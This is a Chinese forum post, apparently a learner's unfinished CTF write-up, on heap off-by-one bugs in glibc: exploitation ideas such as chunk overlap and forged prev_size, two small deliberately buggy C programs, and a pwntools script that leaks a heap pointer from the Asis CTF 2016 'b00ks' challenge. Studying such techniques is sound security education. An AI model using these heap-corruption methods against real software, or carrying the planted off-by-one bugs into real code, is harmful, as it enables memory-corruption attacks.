学逆向论坛

找回密码
立即注册

只需一步,快速开始

发新帖

2万

积分

41

好友

1171

主题
发表于 2020-9-2 09:44:23 | 查看: 2117| 回复: 0

相关题目:

原理
只溢出了一个字节,比如循环次数多了1,比如定义a[4],却访问到了a[4],实际应该是a[0]-a[3],虽然只有一字节,但是造成的危害却很大,这里讨论堆上的Off-By-One
利用思路
  • 溢出字节为可控制任意字节:通过修改大小造成块结构之间出现重叠,从而泄露其他块数据,或是覆盖其他块数据。也可使用 NULL 字节溢出的方法
  • 溢出字节为 NULL 字节:在 size 为 0x100 的时候,溢出 NULL 字节可以使得 prev_in_use 位被清,这样前块会被认为是 free 块。(1) 这时可以选择使用 unlink 方法(见 unlink 部分)进行处理。(2) 另外,这时 prev_size 域就会启用,就可以伪造 prev_size ,从而造成块之间发生重叠。此方法的关键在于 unlink 的时候没有检查按照 prev_size 找到的块的大小与prev_size 是否一致。
最新版本代码中,已加入针对 2 中后一种方法的 check ,但是在 2.28 前并没有该 check 。
/* consolidate backward */
  if (!prev_inuse(p)) {
  prevsize = prev_size (p);
  size += prevsize;
  p = chunk_at_offset(p, -((long) prevsize));
  /* 后两行代码在最新版本中加入,则 2 的第二种方法无法使用,但是 2.28 及之前都没有问题 */
  if (__glibc_unlikely (chunksize(p) != prevsize))
  malloc_printerr ("corrupted size vs. prev_size while consolidating");
  unlink_chunk (av, p);
  }

例子例1
int my_gets(char *ptr,int size)
  {
  int i;
  for(i=0;i<=size;i++)
  {
  ptr[i]=getchar();
  }
  return i;
  }
  int main()
  {
  void *chunk1,*chunk2;
  chunk1=malloc(16);
  chunk2=malloc(16);
  puts("Get Input:");
  my_gets(chunk1,16);
  return 0;
  }

my_gets中存在off-by-one(i<=size应该为i<size)
动态调试:
malloc之后:

Off-By-One(未完)

Off-By-One(未完)
输入17个'a'之后:

Off-By-One(未完)

Off-By-One(未完)
可以看到溢出到了下一个堆块地presize域
例2
int main(void)
  {
  char buffer[40]="";
  void *chunk1;
  chunk1=malloc(24);
  puts("Get Input");
  gets(buffer);
  if(strlen(buffer)==24)
  {
  strcpy(chunk1,buffer);
  }
  return 0;
  }

strlen 函数在计算字符串长度时是不把结束符 '\x00' 计算在内的,但是 strcpy 在复制字符串时会拷贝结束符 '\x00' 。这就导致了我们向 chunk1 中写入了 25 个字节(off-by-one)
malloc之后:

Off-By-One(未完)

Off-By-One(未完)

可以看到大小是0x21,除掉1bit控制字段和0x10的chunk头,只有0x10大小,怎么放的下24B呢,这就是复用了下一个chunk的prevsize域,所以刚刚好
输入'a'*24后:

Off-By-One(未完)

Off-By-One(未完)
可以看到下个chunk的size字段的低一个字节被改成了0,而这里有很重要的控制字段P(表明前一个chunk是否空闲)
例题例1 Asis CTF 2016 b00ks查看

Off-By-One(未完)

Off-By-One(未完)
64位程序,除了没开canary之外别的全开,有菜单
ida
main函数(已改名):

Off-By-One(未完)

Off-By-One(未完)
就正常题目流程
get_name:

Off-By-One(未完)

Off-By-One(未完)
my_read:

Off-By-One(未完)

Off-By-One(未完)
存在off-by-one,因为循环条退出件是i==a2而不是i==a2-1

Off-By-One(未完)

Off-By-One(未完)
这样就多了最后一位变0
看看增删改查:
creat_book:

Off-By-One(未完)

Off-By-One(未完)

Off-By-One(未完)

Off-By-One(未完)

Off-By-One(未完)

Off-By-One(未完)
流程就是先输入先输入name_size,判断大小后malloc返回到ptr,并存储name进去
然后需要输入内容size,判断大小后malloc返回v5,然后存储内容进去
最后有一个book结构体:

Off-By-One(未完)

Off-By-One(未完)
存储了name,内容size,内容和id
delete_book:

Off-By-One(未完)

Off-By-One(未完)
各种检查,最后free后也置null了
edit_book:

Off-By-One(未完)

Off-By-One(未完)
print_book:

Off-By-One(未完)

Off-By-One(未完)
最后还输出了作者(自己输入的name)的名字
分析
在 author name 中需要输入 32 个字节后,我们溢出到了下面的指针域(结构体的后面)置为了'\x00',而之后我们add book的时候又将'\x00'覆盖了,该指针与 author name 直接连接,那么输出作者名字的时候,我们就可以获得堆指针了
p=process('b00ks')
  p.recvuntil(':')
  p.sendline('a'*32)
  p.recvuntil('>')
  p.sendline('1')
  p.recvuntil('size:')
  p.sendline('32')
  p.recvuntil('chars):')
  p.sendline('lalala')
  p.recvuntil('size:')
  p.sendline('32')
  p.recvuntil('description:')
  p.sendline('bibibi')
  p.recvuntil('>')
  p.sendline('4')
  p.recvuntil('a'*32)
  #p.recvall()
  book1=my_u64(p.recv(6))
  success('book1 addr: '+hex(book1))
  p.interactive()

Off-By-One(未完)

Off-By-One(未完)
成功得到
由于程序存在修改作者姓名的功能,所以我们可以修改pointer array 第一个项的低字节。
gdb调试一下:
首先寻找name(输入的地址):

Off-By-One(未完)

Off-By-One(未完)
我们看到了一个堆上的地址,这个就是leak出的地址
leak的地址:

Off-By-One(未完)

Off-By-One(未完)

Off-By-One(未完)

Off-By-One(未完)
第一个存了下标book1,第二个和第三个则分别是

Off-By-One(未完)

Off-By-One(未完)
之后就是des的size了
如果我们修改的指针落在了des里(size大点),是不是就可以控制了呢
由于des可写,我们在这个地方伪造一个book结构体,可以通过对伪造的结构体的读写,达到任意地址读写了
后面没咋看懂...先放着




温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的认可,还可以获得学币奖励,请尊重他人的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046

小黑屋|手机版|站务邮箱|学逆向论坛 ( 粤ICP备2021023307号 )|网站地图

GMT+8, 2024-12-22 19:27 , Processed in 0.153043 second(s), 38 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表